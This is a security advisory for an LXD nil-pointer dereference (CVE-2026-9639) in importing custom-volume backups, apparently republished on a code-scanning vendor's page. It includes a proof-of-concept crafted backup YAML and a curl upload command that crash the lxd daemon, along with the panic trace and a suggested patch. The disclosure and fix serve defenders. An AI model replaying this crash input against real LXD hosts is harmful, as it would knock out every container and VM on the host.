LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at
GHSA-j93m-3j9p-m5m8 · CVE-2026-9639
Published · Modified
AI SAST
Find this class of vulnerability in your own code
Corgea's AI-native static analysis detects vulnerabilities like this one across your repositories, ranks them by exploitability, and returns review-ready fixes.
Description
Summary
(sibling-field variant of CVE-2026-40197 fix 05bc272)
(*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.
This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent *snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with if … != nil (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.
Vulnerable code
lxd/storage/backend_lxd.go, CreateCustomVolumeFromBackup:
// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)
for i, snap := range customVol.Snapshots {
if snap == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
err = drivers.ValidVolumeName(snap.Name)
...
}
// Line 8196-8216 — the snapshot DB-create loop
for i, s := range customVol.Snapshots {
if s == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
snapshot := s
...
// Line 8216 — UNGUARDED *time.Time deref:
err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
*snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML
snapVol.ContentType(), true, true)
ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = *… }):
| Line | Code | Guarded? |
|---|---|---|
| 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES |
| 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES |
| 1558-1559 | srcSnap.ExpiresAt | YES |
| 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES |
| 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES |
| 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES |
| 5527-5528 | srcSnap.ExpiresAt | YES |
| 8216 | CreateCustomVolumeFromBackup snapshot.ExpiresAt | NO |
Reach
- Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the
EntitlementCanCreateStorageVolumesentitlement on any project. Same auth gate as CVE-2026-40197. POST /1.0/storage-pools/<pool>/volumes/customwithContent-Type: application/octet-streamandX-LXD-name: <name>.- Body is a tar containing
backup/index.yamlwithtype: custom,volumes[0]non-nil, andvolumes[0].snapshots[0]non-nil but missingexpires_at. lxd/storage_volumes.go:storagePoolVolumesPost->backup.GetInfoparses the yaml ->pool.CreateCustomVolumeFromBackup-> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) ->*snapshot.ExpiresAton line 8216 panics on the nil*time.Time.- The Go runtime kills the entire
lxddaemon process. Repeated POSTs are a persistent denial of service.
Minimal backup/index.yaml:
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
version: 2
pools:
- {name: default, driver: dir, config: {}}
volumes:
- name: poc-vol
type: custom
pool: default
content_type: filesystem
config: {}
snapshots:
- name: snap0
description: snap0
config: {}
# expires_at intentionally omitted
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + the resulting 516-byte poc-vol-lxd.tar.gz.
Tested against lxd 6.8 (HEAD of canonical/lxd at the time of testing, built from source with make deps && go build -tags libsqlite3 ./lxd). Daemon started with default dir storage pool.
$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
--data-binary @/tmp/poc-vol-lxd.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-LXD-name: poc-vol' \
http://lxd/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep lxd | grep -v grep # daemon GONE
Daemon panic from /tmp/lxd.out:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]
goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c
created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655
github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8
Stack frame backend_lxd.go:8216 is the literal *snapshot.ExpiresAt line.
Impact
- Severity: denial of service against the entire
lxddaemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with
can_create_storage_volumeson any project. Not behind the admin tier. - Network attack surface: the LXD REST API on
:8443or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- Versions: confirmed at
lxd 6.8(HEAD); the same code exists in the v5.21 LTS line as the parent fix05bc272was a cherry-pick from incus.
Suggested fix
Mirror the guard pattern already in use elsewhere in this file:
--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {
snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)
// Validate config and create database entry for new storage volume.
// Strip unsupported config keys (in case the export was made from a different type of storage pool).
- err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+ var snapExpiryDate time.Time
+ if snapshot.ExpiresAt != nil {
+ snapExpiryDate = *snapshot.ExpiresAt
+ }
+
+ err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
if err != nil {
return err
}
Related advisories
GHSA-r7w7-mmxr-47r9(CVE-2026-40197) / commit05bc272(cherry-pick of incus985a1dedf) — parent fix: addeds == nilchecks at multiple consumer sites, missed the*snapshot.ExpiresAtderef at line 8216.lxc/incus GHSA-xhqx-mgh3-3h7q(sibling report filed by same reporter against the upstream-equivalent lineinternal/server/storage/backend.go:7731in incus).
The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.
Reporter notes
Reported via Privately-Reported Vulnerability against canonical/lxd by tonghuaroot.
References
- WEB https://github.com/canonical/lxd/security/advisories/GHSA-j93m-3j9p-m5m8
- ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-9639
- WEB https://github.com/canonical/lxd/pull/18320
- WEB https://github.com/canonical/lxd/pull/18390
- WEB https://github.com/canonical/lxd/commit/05bc2729e99707a766d5c4705167a3322c9ef424
- WEB https://github.com/canonical/lxd/commit/c7cdfadb6044dfeaac592dc225978b4125ee23fe
- WEB https://github.com/canonical/lxd/commit/d15520809e6e2ac2af0c6354dfb7be5854b0e859
- WEB https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/9xxx/CVE-2026-9639.json
- PACKAGE https://github.com/canonical/lxd
- WEB https://github.com/canonical/lxd/blob/lxd-5.0.7/lxd/storage/backend_lxd.go
- WEB https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
- WEB https://github.com/canonical/lxd/releases/tag/lxd-6.9
Ready to move
Start Securing
Free, no credit card | First findings in minutes